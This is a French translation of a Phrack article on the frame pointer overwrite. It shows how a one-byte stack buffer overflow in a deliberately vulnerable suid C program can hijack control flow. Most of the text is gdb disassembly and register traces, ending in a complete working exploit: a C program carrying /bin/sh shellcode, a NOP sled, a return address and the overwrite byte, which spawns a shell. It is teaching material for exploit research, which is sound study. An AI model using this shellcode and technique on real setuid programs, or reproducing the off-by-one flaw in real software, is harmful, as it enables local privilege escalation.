-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19 ]
-------------------------[ The Frame Pointer Overwrite ]
--------[ klog <klog@promisc.org> ]
--------[ Traduction par tbowan pour arsouyes.org
----[ Introduction
Les tableaux peuvent être débordés, et en écrasant des données critiques
stockées dans l'espace d'adressage du processus cible, on peut modifier son
flux d'exécution. Ce n'est pas nouveau. Cet article ne traitera pas de la
manière d'exploiter les débordements de tampons [NDT : "buffer overflow"
dans la suite], ni n'expliquera la vulnérabilité elle-même. Il va juste
montrer qu'il est possible d'exploiter ce genre de vulnérabilité même dans
les pires conditions, tel que lorsqu'on ne peut déborder le tableau que
d'un seul octet. Plein d'autres techniques ésotériques où le but est
d'exploiter un processus sûr dans la situation la plus hostile existent, y
compris quand les privilèges sont retirés. Nous ne traiterons que du "one
byte overflow" [NDT : débordement d'un seul octet].
----[ L'objet de notre attaque
Écrivons un programme suid pseudo vulnérable, que nous appelerons "suid".
Il est écrit de manière à ce qu'un octet déborde de son tableau.
ipdev:~/tests$ cat > suid.c
#include <stdio.h>
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
Comme vous pouvez le voir, nous n'avons pas beaucoup de place pour
exploiter ce programme. En fait, le débordement est causé par un seul octet
de trop par rapport à la taille du tableau. Nous allons devoir l'utiliser
de manière intelligente. Avant d'exploiter quoi que ce soit, nous devrions
regarder ce que cet octet écrase vraiment (vous le savez probablement déjà
mais... on s'en fiche). Réassemblons la pile avec gdb, au moment où le
débordement à lieu.
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb)
Comme on le sait, le processeur va d'abord mettre %eip sur la pile, via
l'instruction CALL. Ensuite, notre petit programme va mettre %ebp au
dessus, comme on le voit en *0x8048134. enfin, il active le cadre courant
en décrémentant %esp par 0x104. ceci signifie que nos variables locales
prendrons 0x104 octets de long (0x100 pour la chaine, 0x004 pour l'entier).
Notez que l'espace des variables est physiquement aligné sur 4 octets, et
donc, un buffer de 255 octets prendra autant de place qu'un buffer de 256.
On peut maintenant avoir une idée de notre pile avant que le débordement
n'ai lieu :
saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i
Ceci signifie que l'octet qui débordera va écraser la sauvegarde du
pointeur de cadre [NDT : saved frame pointer], qui est mis sur la pile au
début de func(). Mais comment pouvons-nous utiliser cet octet pour modifier
le flux d'exécution du programme ? Regardons ce qu'il arrive à l'image
d'%ebp. Nous savons déjà qu'il est restauré à la fin de func(), comme on
peut le voir en *0x804817e. Mais après ?
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb)
Chouette ! Après que func() ait été appelé vers la fin du main(), %ebp va
être restauré en %esp, comme on le voit en *0x80481b1. Ceci signifie qu'on
peut donner une valeur arbitraire à %esp. Mais souvenez vous que cette
valeur arbitraire n'est pas "vraiment" arbitraire, puisqu'on ne peut
modifier que son dernier octet. Voyons voir si nous avons raison.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
Il semblerait que nous avions raison. Après avoir débordé le buffer d'un
'A' (0x41), %ebp devient %esp, qui est incrémenté de 4 puisque %ebp est
retiré de la pile juste avant le RET. Ce qui nous donne 0xbffffd41 + 0x4 =
0xbffffd45.
----[ Se préparer
Qu'est ce que nous rapporte le fait de changer le pointeur de pile ? Nous
ne pouvons pas changer directement la valeur d'%eip comme dans n'importe
quelle exploitation de buffer overflow conventionnel, mais nous pouvons
faire croire au processeur qu'il est ailleur. quand le processeur fait un
retour depuis une procédure, il ne fait que dépiler le premier mot sur la
pile, pensant que c'est l'%eip original. Mais si nous altérons %esp, nous
pouvons faire dépiler n'importe quelle valeur de la pile par le processeur,
comme si c'était %eip et donc, changer le flux d'exécution. Essayons de
déborder le tableau en utilisant cette chaine :
[nops][shellcode][&shellcode][%ebp_altering_byte]
Pour le faire, nous devons d'abord déterminer avec quelle valeur nous
allons altérer %ebp (et donc %esp). Regardons à ce que ressemble la pile
quand le débordement aura eu lieu :
saved_eip
saved_ebp (altered by 1 byte)
&shellcode \
shellcode | char buffer
nops /
int i
Ici, nous voulons que %esp pointe vers &shellcode, pour que l'adresse du
shellcode soit dépilée et mise dans %eip quand le processeur fera le retour
du main(). Maintenant que nous avons toutes les connaissances que nous
voulons pour exploiter notre programme vulnérable, nous devons extraire
l'informations du processus pendant qu'il fonctionne dans le contexte où il
sera exploité. Cette information consiste en l'adresse du buffer débordé et
l'adresse de notre pointeur vers notre shellcode (&shellcode). Lançons le
programme comme si nous voulions le déborder avec une chaine de 257 octets.
Pour le faire, nous devons écrire un faut exploit qui va reproduire le
contexte dans lequel nous exploiterons ce processus vulnérable.
(gdb) q
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
Bingo. Nous avons maintenant %esp juste après que le cadre de func() ait
été activé. Avec cette valeur, on peut devinier que notre tableau se
trouvera à l'adresse 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, et
que le pointeur vers notre shellcode sera placé à l'adresse 0xbffffc64 +
0x100 (taille de notre "char buffer[256]") - 0x04 (taille de notre
pointeur) = 0xbffffd60.
----[ L'heure de l'attaque
Avoir ces valeurs nous permet d'écrire une version complète de l'exploit,
incluant le shellcode, le pointeur vers le shellcode et l'octet de
débordement. La valeur nécessaire pour écraser le dernier octets de %ebp
est de 0x60 - 0x04 = 0x5c car, comme vous vous en souvenez, nous dépilons
%ebp juste avant de retourner depuis le main(). Ces 4 octets seront
compenseront pour que %ebp soit retiré de la pile. Comme pour notre
pointeur vers le shellcode, nous n'avons pas besoin qu'il pointe vers une
adresse précise. Tout ce qu'on a besoin est de faire retourner le
processeur au milieu des nops, entre le début du tableau écrasé
(0xbffffc64) et notre shellcode (0xbffffc64 - sizeof(shellcode)), comme
dans un buffer overflow classique. Utilisons donc 0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include <stdio.h>
#include <unistd.h>
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; /*
buffer[i++] = 0xfc; * Address of our buffer
buffer[i++] = 0xff; *
buffer[i++] = 0xbf; */
buffer[i++] = 0x5c;
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
chouette ! Regardons un peut mieux sur ce qu'il s'est vraiment passé. Bien
que nous ayons construit notre exploit autour de la théorie que j'ai mise
dans ce papier, ça serait bien de regarder tout marcher ensemble. Vous
pouvez vous arreter de lire maintenant si vous avez tout compris jusqu'ici,
et commencer à chercher des vulnérabilités.
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
Plaçons d'abord des breakpoints pour surveiller prudement l'exploitation de
notre programme suid pendant qu'elle se déroule sous nos yeux. Nous
devrions tenter de suivre la valeur de notre pointeur de cadre écrasé
jusqu'à ce que notre shellcode commence son exécution.
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
Ces premiers breakpoints nous permettrons de surveiller le contenu de %ebp
avant et après avoir été empilé et dépilé. Ces valeurs correspondront à la
valeur originale et écrasée.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <_IO_printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
Ici, nous voulons surveiller le transfert de notre %ebp écrasé vers %esp et
le contenu de %esp jusqu'au retour du main(). Lançons alors le programme.
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)
Au début, nous voyons la valeur originale de %ebp. ensuite, dépilé de la
pile, on voit qu'elle a été remplacée par celle dont le dernier octet a été
écrasé par notre chaine, 0x5c. Après ça, %ebp va dans %esp et enfin, après
que %ebp soit dépilé une nouvelle fois de la pile, %esp est incrémenté de 4
octets. Ce qui nous donne une valeur finale de 0xbffffd60.
Regardons un peu ce qu'il s'y trouve.
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
On peut voir que 0xbffffd60 est l'adresse d'un pointeur vers le milieu des
nops, juste avant notre shellcode. Quand le processeur va retourner du
main(), il va dépiler ce pointeur dans %eip, et sauter à l'adresse précise
de 0xbffffc74. C'est à ce moment que notre shellcode sera exécuté.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
----[ Conclusions
Bien que cette technique semble chouette, quelque problèmes restent non
résolus. Altérer le flux d'exécution d'un programme avec un seul octet pour
écraser des données est, bien sûr, possible, mais sous quelles conditions ?
En fait, reproduire le contexte d'exploitation peut être une tâche
difficile dans un environnement hostile, ou pire, sur un hôte distant. Ça
nécessitera que nous devinions la taille exacte de la pile de notre
processus cible. À ce problème, on ajoute la nécessité que notre buffer
soit juste à côté de la sauvegarde du pointeur de cadre, ce qui signifie
que notre tableau doit être la première variable déclarée dans la fonction.
il est inutile de dire que l'alignement doit aussi être pris en
considération. Et si on parle d'architecture en big endian ? On ne peut se
permettre de ne pouvoir écraser que l'octet de poids fort du pointeur de
cadre, à moins d'avoir la possibilité d'atteindre la nouvelle adresse...
Des conclusions peuvent être tirées de cette situation presque impossible à
exploiter. Je serais bien surpris d'entendre que quelqu'un ai appliqué
cette technique à une vulnérabilité réelle, mais ceci prouve qu'il n'y a
pas de petits et gros débordements, ni de petites et grosses
vulnérabilités. Toute faille est exploitable, il faut juste trouver
comment.
Merci à : binf, rfp, halflife, route
----[ EOF